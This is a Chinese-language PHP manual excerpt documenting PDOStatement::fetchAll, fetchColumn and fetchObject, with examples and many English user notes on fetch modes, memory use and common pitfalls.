  • 从结果集中获取剩余的行

PDOStatement::fetchAll

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::fetchAll — 从结果集中获取剩余的行

说明

public PDOStatement::fetchAll(int $mode = PDO::FETCH_DEFAULT): array
public PDOStatement::fetchAll(int $mode = PDO::FETCH_COLUMN, int $column): array
public PDOStatement::fetchAll(int $mode = PDO::FETCH_CLASS, string $class, ?array $constructorArgs): array
public PDOStatement::fetchAll(int $mode = PDO::FETCH_FUNC, callable $callback): array

参数

mode

控制返回数组的内容如同 PDOStatement::fetch() 文档中记载的一样。默认为 PDO::ATTR_DEFAULT_FETCH_MODE 的值（ 其缺省值为 PDO::FETCH_BOTH ）

想要返回一个包含结果集中单独一列所有值的数组，需要指定 PDO::FETCH_COLUMN 。通过指定 column 参数获取想要的列。

想要获取结果集中单独一列的唯一值，需要将 PDO::FETCH_COLUMN 和 PDO::FETCH_UNIQUE 按位或。

想要返回一个根据指定列把值分组后的关联数组，需要将 PDO::FETCH_COLUMN 和 PDO::FETCH_GROUP 按位或。

以下是依赖获取模式的动态参数。它们不能与命名参数一起使用。
column

与 PDO::FETCH_COLUMN 一起使用。返回指定以 0 开始索引的列。

class

与 PDO::FETCH_CLASS一起使用。返回指定类的实例，映射每行的列到类中对应的属性名。

constructorArgs

当 mode 参数为 PDO::FETCH_CLASS 时自定义类构造方法的参数。

callback

与 PDO::FETCH_FUNC一起使用。将每行的列作为参数传递给指定的函数，并返回调用函数后的结果。

返回值

PDOStatement::fetchAll() 返回一个包含结果集中所有剩余行的数组。此数组的每一行要么是一个列值的数组，要么是属性对应每个列名的一个对象。如果获取到的结果为 0，则返回空数组。

使用此方法获取大结果集将导致系统负担加重且可能占用大量网络资源。与其取回所有数据后用PHP来操作，倒不如考虑使用数据库服务来处理结果集。例如，在取回数据并通过PHP处理前，在 SQL 中使用 WHERE 和 ORDER BY 子句来限定结果。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

更新日志

版本 | 说明
8.0.0 | 现在此方法始终返回 array，之前可能在失败时返回 false。

示例

Example #1 获取结果集中所有剩余的行

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* 获取结果集中所有剩余的行 */
print "Fetch all of the remaining rows in the result set:\n";
$result = $sth->fetchAll();
print_r($result);
?>

以上示例的输出类似于：

Fetch all of the remaining rows in the result set:
Array
(
    [0] => Array
        (
            [name] => apple
            [0] => apple
            [colour] => red
            [1] => red
        )

    [1] => Array
        (
            [name] => pear
            [0] => pear
            [colour] => green
            [1] => green
        )

    [2] => Array
        (
            [name] => watermelon
            [0] => watermelon
            [colour] => pink
            [1] => pink
        )

)

Example #2 获取结果集中单独一列的所有值

下面例子演示了如何从一个结果集中返回单独一列所有的值，尽管 SQL 语句自身可能返回每行多列。

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* 获取第一列所有值 */
$result = $sth->fetchAll(PDO::FETCH_COLUMN, 0);
var_dump($result);
?>

以上示例的输出类似于：

Array(3)
(
    [0] =>
    string(5) => apple
    [1] =>
    string(4) => pear
    [2] =>
    string(10) => watermelon
)

Example #3 根据单独的一列把所有值分组

下面例子演示了如何返回一个根据结果集中指定列的值分组的关联数组。该数组包含三个键：返回的 apple 和 pear 数组包含了两种不同的颜色，而返回的 watermelon 数组仅包含一种颜色。

<?php
$insert = $dbh->prepare("INSERT INTO fruit(name, colour) VALUES (?, ?)");
$insert->execute(array('apple', 'green'));
$insert->execute(array('pear', 'yellow'));

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* 根据第一列分组 */
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP));
?>

以上示例的输出类似于：

array(3) {
  ["apple"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(3) "red"
  }
  ["pear"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(6) "yellow"
  }
  ["watermelon"]=>
  array(1) {
    [0]=>
    string(5) "pink"
  }
}

Example #4 每行结果实例化一个类

下面列子演示了 PDO::FETCH_CLASS 获取风格的行为。

<?php
class fruit {
public $name;
public $colour;
}

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

$result = $sth->fetchAll(PDO::FETCH_CLASS, "fruit");
var_dump($result);
?>

以上示例的输出类似于：

array(3) {
  [0]=>
  object(fruit)#1 (2) {
    ["name"]=>
    string(5) "apple"
    ["colour"]=>
    string(5) "green"
  }
  [1]=>
  object(fruit)#2 (2) {
    ["name"]=>
    string(4) "pear"
    ["colour"]=>
    string(6) "yellow"
  }
  [2]=>
  object(fruit)#3 (2) {
    ["name"]=>
    string(10) "watermelon"
    ["colour"]=>
    string(4) "pink"
  }
  [3]=>
  object(fruit)#4 (2) {
    ["name"]=>
    string(5) "apple"
    ["colour"]=>
    string(3) "red"
  }
  [4]=>
  object(fruit)#5 (2) {
    ["name"]=>
    string(4) "pear"
    ["colour"]=>
    string(5) "green"
  }
}

Example #5 每行调用一次函数

下面列子演示了 PDO::FETCH_FUNC 获取风格的行为。

<?php
function fruit($name, $colour) {
return "{$name}: {$colour}";
}

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

$result = $sth->fetchAll(PDO::FETCH_FUNC, "fruit");
var_dump($result);
?>

以上示例的输出类似于：

array(3) {
  [0]=>
  string(12) "apple: green"
  [1]=>
  string(12) "pear: yellow"
  [2]=>
  string(16) "watermelon: pink"
  [3]=>
  string(10) "apple: red"
  [4]=>
  string(11) "pear: green"
}

参见

  • PDO::query() - 预处理并执行没有占位符的 SQL 语句
  • PDOStatement::fetch() - 从结果集中获取下一行
  • PDOStatement::fetchColumn() - 从结果集中的下一行返回单独的一列
  • PDO::prepare() - 预处理要执行的语句，并返回语句对象
  • PDOStatement::setFetchMode() - 为语句设置默认的获取模式

User Contributed Notes

shaunc 11-Dec-2022 12:14
Note that \PDO::FETCH_DEFAULT was not introduced until PHP 8.0.7 and 8.1.0. It will throw an undefined constant error in earlier versions.
php at erikthiart dot com 25-Jun-2021 11:21
I am adding this here as I don't seem to find any clear and easy to find examples and explanations of PDO::FETCH_GROUP and how it works by means of an example.

I find this to be one of the most useful modes available in fetchAll() when you need to work with any form of grouping.

In essence, PDO can group results into nested arrays, based on the first field selected.

Example

<?php

$data = $pdo->query('SELECT sex, name, car FROM users')->fetchAll(PDO::FETCH_GROUP);

/* array (
  'male' => array ( 0 =>
    array (
      'name' => 'John',
      'car' => 'Toyota',
    ),
    1 => array (
      'name' => 'Mike',
      'car' => 'Ford',
    ),
  ),
  'female' => array (
    0 => array (
      'name' => 'Mary',
      'car' => 'Mazda',
    ),
    1 => array (
      'name' => 'Kathy',
      'car' => 'Mazda',
    ),
  ),
) */

?>

Tip: If you need to group the data by something other than the first field then you can do it like this as well

<?php
SELECT sex, users.* FROM users
?>
herhor67 at interia dot pl 12-Dec-2020 10:00
I noticed quite a weird (at least for me) behaviour. Maybe it can help someone who will struggle with this too.

<?php
$stmt = new PDOStatement();
$foo  = $stmt->fetchAll();
var_dump($foo);

$stmt = $pdo->prepare('SELECT VERSION()');
$foo  = $stmt->fetchAll();
var_dump($foo);

$stmt = $pdo->prepare("INSERT INTO `tblnm` (date) VALUES (NOW())");
$stmt->execute();
$foo  = $stmt->fetchAll();
var_dump($foo);

$stmt = $pdo->query("INSERT INTO `tblnm` (date) VALUES (NOW())");
$foo  = $stmt->fetchAll();
var_dump($foo);
?>

The first is just an empty object, so $foo === bool(false)
The second one is not executed, so $foo === array(0) {}
The third and fourth throw exception at fetchAll():
"General error: 2014 Cannot execute queries while other unbuffered queries are active. Consider using PDOStatement::fetchAll(). Alternatively, [...] you may enable query buffering by setting the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY attribute."

fetchAll() is already used, and changing the above attribute between true and false changes nothing.
This is probably caused by the INSERT not having any return value. We could use RETURNING in the sql, but it's quite new, so may not yet be supported everywhere.

What finally worked for me, was $pdo->exec() and lastInsertId(), because ID is the only column I needed anyway.
<?php
$count = $pdo->exec('INSERT INTO `tblnm` (date) VALUES (NOW())');
$foo = $pdo->lastInsertId();
var_dump($foo);
?>
Then e.g. $foo === string(2) "93"
geompse at gmail dot com 02-Dec-2020 10:28
There is a breaking change upgrading from PHP<7.4 to PHP 8.0. If your class extend PDOStatement, the PHP 8.0 typed prototype is incompatible :
- PHP 7.4 = public PDOStatement::fetchAll ([ int $fetch_style [, mixed $fetch_argument [, array $ctor_args = array() ]]] ) : array
- PHP 8.0 = public PDOStatement::fetchAll ([ int $mode = PDO::FETCH_BOTH[, mixed ...$args] ]) : array

While they are compatible for a human being, PHP is not enjoying it :
- PHP 7.4 = PHP Warning: Declaration of (your class prototype) should be compatible with (PDOStatement's prototype)
- PHP 8.0 = [PhpCompileError] Declaration of (your class prototype) must be comptable with (PDOStatement's prototype)

Because the first one is a warning, it is not fatal, and you might be happy using PHP 8.0's prototype. My personal solution was to stop extending PDOStatement and thus rewrite associated typing declarations and conditions.
Leonardo Costa linux at linuxmanbr dot com dot br 05-Aug-2019 09:08
Method with Return object (PHP 7.2)

class MySql {

public function __construct()
        {
            parent::__construct();

            try{

                $options = array
                (
                    PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES UTF8"
                );

                $this->pdo = new PDO('mysql:host=127.0.0.1;dbname=testuser','dbtest', 'xxxxxxx',$options);
                $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            }catch(PDOException $e) {
                print "Error!: " . $e->getMessage() . "<br/>";
                die();
            }
        }

        public function selectAll(string $sql)
        {
            $conn = $this->pdo->query($sql);
            return $conn->fetchAll(PDO::FETCH_OBJ);
        }
}
sidi dot khalifa at live dot fr 19-Jun-2019 09:02
Inject the parameters directly into `fetchAll` instead of using `bindValue`

$query  = "
            SELECT
                    a.total_paid_tax_incl AS prize,
                    a.date_add AS date_add
            FROM orders a
            WHERE a.order_id = :seventeen
                   AND a.name = :name";

// connection (Example in Symfony you use class Connection in namespace Doctrine\DBAL\Connection)
$this->connection->fetchAll($query, ['seventeen' => 70, 'name' => 'Sidi'])
rudigerw at hotmail dot com 26-Apr-2018 09:36
I was blown away that you can actually combine PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE | PDO::FETCH_UNIQUE, because both PDO::FETCH_CLASSTYPE and PDO::FETCH_UNIQUE say they will use the first column, but it turns out PDO::FETCH_CLASSTYPE goes first and then PDO::FETCH_UNIQUE will use the next column. This way you can create an associative array of objects, with one of the table columns as key. For example a query such as

 'SELECT Class, Id, t.* FROM subscriptions_tbl t'

might give you this result:

Array
(
    [20481086] => WConsumerSubscription Object
        (
            [Variant] => 2
            [_Expiration:WSubscriptionModel:private] => DateTime Object
                (
                    [date] => 2018-08-08 00:00:00.000000
                    [timezone_type] => 3
                    [timezone] => UTC
                )

            [Notes] =>
            [Id] => 20481086
            [_Deleted:protected] => 0
            [_VersionNo:protected] => 2
            [ContactId] =>
            [ConsumerId] => 2
        )

    [21878324] => WAdminSubscription Object
        (
            [Variant] =>
            [_Expiration:WSubscriptionModel:private] =>
            [Notes] =>
            [Id] => 21878324
            [_Deleted:protected] => 0
            [_VersionNo:protected] => 1
            [ContactId] =>
        )
)
lu_kors 22-Jan-2018 08:45
You might find yourself wanting to use FETCH_GROUP and FETCH_ASSOC at the same time, to get your table's primary key as the array key - use FETCH_UNIQUE also, or you will probably get some unintended behaivor:
<?php
// $stmt is some query like "SELECT rowid, username, comment"

//with unique
$results = $stmt->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_ASSOC|PDO::FETCH_UNIQUE);
$results = array(
    1234 => array('username' => 'abc', 'comment' => '[...]'),
    1235 => array('username' => 'def', 'comment' => '[...]'),
);
//without unique
$results = $stmt->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_ASSOC);
// It does work, but not as you might expect:
$results = array(
    1234 => array(0 => array('username' => 'abc', 'comment' => '[...]')),
    1235 => array(0 => array('username' => 'def', 'comment' => '[...]')),
);
?>
Credit to Ant P. for minimal Example (which i shamelessly copied from the note above me). Thanks a lot!
Anonymous 14-Feb-2017 11:24
Be careful when using PDO::FETCH_COLUMN with PDO::FETCH_GROUP. By default, results are grouped by first column (index 0) and second column (index 1) is returned. But, if you provide fetch argument, it wouldn't affect returned column, but grouping column. If grouping column is set explicitly , first columns is returned instead of second.

<?php
$insert = $dbh->prepare("INSERT INTO people(id, gender) VALUES (?, ?)");
$insert->execute(array('2', 'female'));
$insert->execute(array('3', 'female'));
$insert->execute(array('4', 'female'));
$insert->execute(array('5', 'male'));
$insert->execute(array('6', 'male'));

$sth = $dbh->prepare("SELECT gender, id FROM people");
$sth->execute();

/* Group values by the first column */
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP));
?>
Returns:
<?php
array (size=2)
  'female' =>
    array (size=3)
      0 => string '2' (length=1)
      1 => string '3' (length=1)
      2 => string '4' (length=1)
  'male' =>
    array (size=2)
      0 => string '5' (length=1)
      1 => string '6' (length=1)
?>

But,
<?php
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP, 0));
?>
returns:
<?php
array (size=2)
  'female' =>
    array (size=3)
      0 => string 'female' (length=1)
      1 => string 'female' (length=1)
      2 => string 'female' (length=1)
  'male' =>
    array (size=2)
      0 => string 'male' (length=1)
      1 => string 'male' (length=1)
?>
and
<?php
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP, 1));
?>
returns
<?php
array (size=5)
  2 =>
    array (size=1)
      0 => string 'female' (length=1)
  3 =>
    array (size=1)
      0 => string 'female' (length=1)
  4 =>
    array (size=1)
      0 => string 'female' (length=1)
  5 =>
    array (size=1)
      0 => string 'male' (length=1)
  6 =>
    array (size=1)
      0 => string 'male' (length=1)
?>

First column is retuned and grouping is done by provided column index.
simplerezo at gmail dot com 24-Jan-2017 02:52
I still don't understand why FETCH_KEY_PAIR is not documented here (http://php.net/manual/fr/pdo.constants.php), because it could be very useful!

<?php
  var_dump($pdo->query('select id, name from table')->fetchAll(PDO::FETCH_KEY_PAIR));
?>

This will display:
array(2) {
  [2]=>
  string(10) "name2"
  [5]=>
  string(10) "name5"
}
jeroen dot deklerk at hotmail dot com 16-Nov-2016 11:47
I was having trouble with returning PDO query results in arrays, due to the structure of the results of those queries (query array with arrays for results inside). Now when executing a fetchAll() on a query you get the following:

Array ( [0] = Array ( [key1] => "value1", [key2] => "value2") [1] = Array( [key1] => "value1", [key2] => "value2") )

This is a smaller array, but return results in a HUGE database this way and it quickly becomes IMPPOSIBRU to read out the array given.

This is where the glorious foreach comes in! We all know the basic writing of a foreach (foreach ($array as $key => $value) {...}), but with query results there's a twist, as both the $key AND $value variables are arrays, where $key is the array of the query containing the result arrays and $value is/are the result array(s) themselves.

So in this foreach we have to talk directly to $value to get our results! This would look something like this:

<?php

  foreach ($query as $key => $value) {
      return $value["key2"];
  }

?>

This already does the job, but to return them in arrays we have to change our return code a little bit, like so:

<?php

   foreach ($query as $key => $value) {
      return array (
             "key1" => $value["key1"],
             "key2" => $value["key2"]
      );
   }

?>

This foreach loops through the query array, just like the firs one, but the return code just doesn't return the keys representing the result arrays ($key) and returns only keys from inside the result arrays,  stored in $value. This gives us an array looking like this:

Array ( [key1] => "value1", [key2] => "value2")

This should return all the values in your array, if written properly. I'm still having problems with the foreach not returning ALL results, but this note was mainly to show how it can be returned in an array.
Dean S. 30-Oct-2015 08:38
Using fetchAll() with the fetch types PDO::FETCH_GROUP and PDO::FETCH_ASSOC, PDO::FETCH_CLASS will always use the first column in the selected table as the key for the row in the output...
info at yuriblanc dot it 14-Sep-2015 12:48
Something missing in the doc.
If for instance you try to fetchAll(PDO::CLASS, "Class") it sometimes return an array of objects with NULL values, but the count of objects fetched correspond to table rows.

In this way works fine:
fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, "Class");

For example

$stm = $pdo->prepare("SELECT * FROM Fruit");
$stm->execute();
$stm->fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, "Fruit");
akira at etnforum dot com 13-Mar-2015 07:41
There may be some user who needs to upgrade their MySQL class to PDO class. The way of fetching results were changed from while loop into a foreach loop. For the people who wish to fetch the results in a while loop, here is a simple trick.

<?php

$db = new DB();
$query = $db->prepare("SELECT * FROM CPUCategory");
$query = $db->execute();
$result = $db->fetchAll();
var_dump($result);

?>

The Output will be:
array(2) {
    [0]=> array(2) {
        ["ccatid"]=> int(1)
        ["ccatname"]=> string(5) "Intel"
    }
    [1]=> array(2) {
        ["ccatid"]=> int(2)
        ["ccatname"]=> string(3) "AMD"
    }
}

Never look like the output of old function.
[ORIGINAL STYLE] mysql_fetch_array($query)
[   MYSQL CLASS] $db->fetch_array($query)

And you may give up.
But there is a simple way to use while loop to fetch the results.

<?php

$db = new DB();
$query = $db->prepare("SELECT * FROM CPUCategory");
$query = $db->execute();
$result = $db->fetchAll();
$row = array_shift($result);
// If you need to fetch them now, put it in a while loop just like below:
// while($row = array_shift($result)) { ... }

var_dump($row);

?>

The Output will be in a single array with while loop returns TRUE:
array(2) {
    ["ccatid"]=> int(1)
    ["ccatname"]=> string(5) "Intel"
}

So after fetching this row, while loop runs again and fetch the next row until all row has fetched, then the while loop will return false. (Just like the old function did)

When you need to upgrade to PDO class, not much code needs to be modified and remember.
dyukemedia at gmail dot com 16-Dec-2014 12:15
Getting foreach to play nicely with some data from PDO FetchAll()
I was not understanding to use the $value part of the foreach properly, I hope this helps someone else.
Example:
<?php
$stmt = $this->db->prepare('SELECT title, FMarticle_id FROM articles WHERE domain_name =:domain_name');
            $stmt->bindValue(':domain_name', $domain);
            $stmt->execute();
            $article_list = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
which gives:

array (size=2)
  0 =>
    array (size=2)
      'title' => string 'About Cats Really Long title for the article' (length=44)
      'FMarticle_id' => string '7CAEBB15-6784-3A41-909A-1B6D12667499' (length=36)
  1 =>
    array (size=2)
      'title' => string 'another cat story' (length=17)
      'FMarticle_id' => string '0BB86A06-2A79-3145-8A02-ECF6EA5C405C' (length=36)

Then use:
<?php
foreach ($article_list as $row => $link) {
  echo  '<a href="'.  $link['FMarticle_id'].'">' . $link['title']. '</a></br>';
  }
?>
janniet at kiekies dot net 27-Oct-2014 02:30
If you want to fetch rows as an object for which you have not defined a class, you can do:
<?php
$result = $q->fetchAll(PDO::FETCH_OBJ);
?>
fractalesque at gmail dot com 09-Jun-2014 04:05
to fetch rows grouped by primary id or any other field you may use FETCH_GROUP with FETCH_UNIQUE:

<?php

//prepare and execute a statement returning multiple rows, on a single one
$stmt = $db->prepare('SELECT id,name,role FROM table');
$stmt->execute();
var_dump($stmt->fetchAll(PDO::FETCH_GROUP | PDO::FETCH_UNIQUE));

//returns an array with the first selected field as key containing associative arrays with the row. This mode takes care not to repeat the key in corresponding grouped array.

$result = array
 (1 => array
   ('name'=>'foo',
    'role'=>'sage',),
  2 => array
   ('name'=>'bar',
    'role'=>'rage',),);

// 'SELECT name,id,role FROM table' would result in that:

$result = array
 ('foo' => array
   ('id'=>1,
    'role'=>'sage',),
  'bar' => array
   ('id'=>2,
    'role'=>'rage',),);

?>
GyoreG 05-Jun-2014 09:14
If you would like to get the result as "key-value-pairs", like:

Array(
    [key1] => "value1"
    [key2] => "value2"
)

then you can do it by calling fetchAll with PDO::FETCH_GROUP | PDO::FETCH_COLUMN parameters.

<?php
  $result = $query->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_COLUMN);
?>
michael dot arnauts at gmail dot com 29-Jan-2014 03:59
If you want to use PDO::FETCH_CLASS but don't like that all the values are of the type string, you can always use the __construct function of the class specified to convert them to a different type.

Another way is using mysqlnd, but it seems I had to recompile PHP for that.

<?php

class Cdr {
    public $a; // int
    public $b; // float
    public $c; // string

    public function __construct() {
        $this->a = intval($this->a);
        $this->b = floatval($this->b);
    }

}

// ...
$arrCdrs = $objSqlStatement->fetchAll(PDO::FETCH_CLASS, 'Cdr');

?>
ramon at monztro dot com 25-May-2012 04:18
If you are trying to call PDOStatement::fetchAll and is not getting the result set as expected (empty instead), check if you called PDOStatement::execute first.

Remember PDOStatement::fetchAll does not execute the query, it just mounts the array.

:)
Hayley Watson 04-Jul-2011 04:48
If you use the PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE flags to map columns to object properties, fetchAll() will use any __set() method your object has when carrying out the mapping.
Anonymous 25-Jun-2011 02:10
Note that fetchAll() can be extremely memory inefficient for large data sets. My memory limit was set to 160 MB this is what happened when I tried:

<?php
$arr = $stmt->fetchAll();
// Fatal error: Allowed memory size of 16777216 bytes exhausted
?>

If you are going to loop through the output array of fetchAll(), instead use fetch() to minimize memory usage as follows:

<?php
while ($arr = $stmt->fetch()) {
    echo round(memory_get_usage() / (1024*1024),3) .' MB<br />';
    // do_other_stuff();
}
// Last line for the same query shows only 28.973 MB usage
?>
Dennis 10-Jun-2010 08:51
Error:
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. Consider using PDOStatement::fetchAll(). Alternatively, if your code is only ever going to run against mysql, you may enable query buffering by setting the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY attribute.

If you're using something like:

while ($row = $query->fetchObject()) {
    [...]
}

try using this instead:

$rows = $query->fetchAll(PDO::FETCH_CLASS, 'ArrayObject');

foreach ($rows as $row) {
    [...]
}
esw at pixeloution dot removeme dot com 18-May-2010 09:17
Interestingly enough, when you use fetchAll, the constructor for your object is called AFTER the properties are assigned. For example:

<?php
class person {
    public $name;

    function __construct() {
       $this->name = $this->name . " is my name.";
    }
}

# set up select from a database here with PDO
$obj = $STH->fetchALL(PDO::FETCH_CLASS, 'person');
?>

Will result in ' is my name' being appended to all the name columns. However if you call it slightly differently:

<?php
$obj = $obj = $STH->fetchAll(PDO::FETCH_CLASS | PDO::FETCH_PROPS_LATE, 'person');
?>

Then the constructor will be called before properties are assigned. I can't find this documented anywhere, so I thought it would be nice to add a note here.
mxrgus 23-Oct-2009 04:22
In method body:

return $pstmt->fetchAll() or die("bad");

will not return correct value, but "1" instead.
Daniel Hofmann 05-May-2009 12:21
PLEASE BE AWARE: If you do an OUTER LEFT JOIN and set PDO FetchALL to PDO::FETCH_ASSOC, any primary key you used in the OUTER LEFT JOIN will be set to a blank if there are no records returned in the JOIN.

For example:
<?php
//query the product table and join to the image table and return any images, if we have any, for each product
$sql = "SELECT * FROM product, image
LEFT OUTER JOIN image ON (product.product_id = image.product_id)";

$array = $stmt->fetchAll(PDO::FETCH_ASSOC);

print_r($array);
?>

The resulting array will look something like this:

Array
(
    [0] => Array
        (
            [product_id] =>
            [notes] => "this product..."
            [brand] => "Best Yet"
            ...

The fix is to simply specify your field names in the SELECT clause instead of using the * as a wild card, or, you can also specify the field in addition to the *. The following example returns the product_id field correctly:

<?php
$sql = "SELECT *, product.product_id FROM product, image
LEFT OUTER JOIN image ON (product.product_id = image.product_id)";

$array = $stmt->fetchAll(PDO::FETCH_ASSOC);

print_r($array);
?>

The resulting array will look something like this:

Array
(
    [0] => Array
        (
            [product_id] => 3
            [notes] => "this product..."
            [brand] => "Best Yet"
            ...
Ant P. 03-Feb-2009 06:37
You might find yourself wanting to use FETCH_GROUP and FETCH_ASSOC at the same time, to get your table's primary key as the array key:
<?php
// $stmt is some query like "SELECT rowid, username, comment"
$results = $stmt->fetchAll(PDO::FETCH_GROUP|PDO::FETCH_ASSOC);

// It does work, but not as you might expect:
$results = array(
    1234 => array(0 => array('username' => 'abc', 'comment' => '[...]')),
    1235 => array(0 => array('username' => 'def', 'comment' => '[...]')),
);

// ...but you can at least strip the useless numbered array out easily:
$results = array_map('reset', $results);
?>
davey at php dot net 02-Nov-2008 06:54
When passing PDO::FETCH_CLASS as the first argument, this method will accept the class name as the second option:

<?php
$query = $pdo->prepare($sql);

$result = $query->execute($values);

if ($result && $query->rowCount() > 0) {
    $records = $query->fetchAll(PDO::FETCH_CLASS, 'Some_Class');
    // $record is now an array of Some_Class objects
}
?>

- Davey
mrshelly at hotmail dot com 30-Oct-2008 07:27
PHP fetchAll Data From SQL Server 2005
if field's data type is varchar(nvarchar), only fetch 255 chars. but the "text" data type is ok.

so, notice! to change the 'varchar' or 'nvarchar' (length > 255) to 'text' data type..

hope to help u.

<?php

$user = 'sa';
$pass = 'pass';

$conn = new PDO('mssql:host=127.0.0.1; dbname=tempdb;', $user, $pass);

$mainSQL = "SELECT field_varchar, field_text FROM table1";
$sth = $conn->prepare($mainSQL);
$sth->setFetchMode(PDO::FETCH_ASSOC);
$sth->execute();
$retRows = $sth->fetchAll();
// the field_varchar field only to fetch 255 chars(max)
// the field_text is ok.

var_dump($retRows);

unset($sth); unset($conn);

?>
harlequin2 at gmx dot de 10-Jun-2008 05:01
There is also another fetch mode supported on Oracle and MSSQL:
PDO::FETCH_ASSOC

> fetches only column names and omits the numeric index.

If you would like to return all columns from an sql statement with column keys as table headers, it's as simple as this:

<?php
$dbh = new PDO("DS", "USERNAME", "PASSWORD");
$stmt = $dbh->prepare("SELECT * FROM tablename");
$stmt->execute();
$arrValues = $stmt->fetchAll(PDO::FETCH_ASSOC);
// open the table
print "<table wdith=\"100%\">\n";
print "<tr>\n";
// add the table headers
foreach ($arrValues[0] as $key => $useless){
    print "<th>$key</th>";
}
print "</tr>";
// display data
foreach ($arrValues as $row){
    print "<tr>";
    foreach ($row as $key => $val){
        print "<td>$val</td>";
    }
    print "</tr>\n";
}
// close the table
print "</table>\n";
?>
Anonymous 01-Jan-2008 11:13
If no rows have been returned, fetchAll returns an empty array.
stas at metalinfo dot ru 18-Oct-2006 06:37
Note, that you can use PDO::FETCH_COLUMN|PDO::FETCH_GROUP pair only while selecting two columns, not like DB_common::getAssoc(), when grouping is set to true.


从结果集中的下一行返回单独的一列

  • ? PDOStatement::fetchAll
  • PDOStatement::fetchObject ?
  • PHP Manual
  • PDOStatement
  • 从结果集中的下一行返回单独的一列

PDOStatement::fetchColumn

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.9.0)

PDOStatement::fetchColumn — 从结果集中的下一行返回单独的一列

说明

public PDOStatement::fetchColumn(int $column = 0): mixed

从结果集中的下一行返回单独的一列，如果没有了，则返回 false 。

Note:

PDOStatement::fetchColumn() 不应该用于检索 boolean 列，因为无法区分 false 值和没有更多行可检索。请改用 PDOStatement::fetch()。

参数

column

你想从行里取回的列的索引数字（以0开始的索引）。如果没有提供值，则 PDOStatement::fetchColumn() 获取第一列。

返回值

PDOStatement::fetchColumn() 从结果集中的下一行返回单独的一列，如果没有更多行，则返回 false。

Warning

如果使用 PDOStatement::fetchColumn() 取回数据，则没有办法返回同一行的另外一列。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 返回下一行的第一列

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

print "Fetch the first column from the first row in the result set:\n";
$result = $sth->fetchColumn();
print "name = $result\n";

print "Fetch the second column from the second row in the result set:\n";
$result = $sth->fetchColumn(1);
print "colour = $result\n";
?>

以上示例会输出：

Fetch the first column from the first row in the result set:
name = lemon
Fetch the second column from the second row in the result set:
colour = red

参见

  • PDO::query() - 预处理并执行没有占位符的 SQL 语句
  • PDOStatement::fetch() - 从结果集中获取下一行
  • PDOStatement::fetchAll() - 从结果集中获取剩余的行
  • PDO::prepare() - 预处理要执行的语句，并返回语句对象
  • PDOStatement::setFetchMode() - 为语句设置默认的获取模式

User Contributed Notes

PhoneixSegovia at GOOGLE_MAIL_SERVER dot com 21-Oct-2010 02:13
fetchColumn return boolean false when a row not is found or don't had more rows.
seanferd at assmasterdonkeyranch dot com 25-Jan-2007 03:04
This is an excellent method for returning a column count. For example:

<?php
$db = new PDO('mysql:host=localhost;dbname=pictures','user','password');
$pics = $db->query('SELECT COUNT(id) FROM pics');
$this->totalpics = $pics->fetchColumn();
$db = null;
?>
In my case $pics->fetchColumn() returns 641 because that is how many pictures I have in my db.


获取下一行并作为一个对象返回

  • ? PDOStatement::fetchColumn
  • PDOStatement::getAttribute ?
  • PHP Manual
  • PDOStatement
  • 获取下一行并作为一个对象返回

PDOStatement::fetchObject

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.2.4)

PDOStatement::fetchObject — 获取下一行并作为一个对象返回

说明

public PDOStatement::fetchObject(?string $class = "stdClass", array $constructorArgs = []): object|false

获取下一行并作为一个对象返回。此函数（方法）是使用 PDO::FETCH_CLASS 或 PDO::FETCH_OBJ 风格的 PDOStatement::fetch() 的一种替代。

当获取对象时，它的属性从各自的列值中分配，然后调用它的构造函数。

参数

class

创建类的名称。

constructorArgs

此数组的元素被传递给构造方法。

返回值

返回一个属性名对应于列名的所要求类的实例， 或者在失败时返回 false.

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

参见

  • PDOStatement::fetch() - 从结果集中获取下一行

User Contributed Notes

Val Bancer 11-Oct-2020 03:32
If you want the constructor to be invoked before `fetchObject` sets the properties then `PDOStatement::fetch` method with `PDO::FETCH_PROPS_LATE` argument should be used.
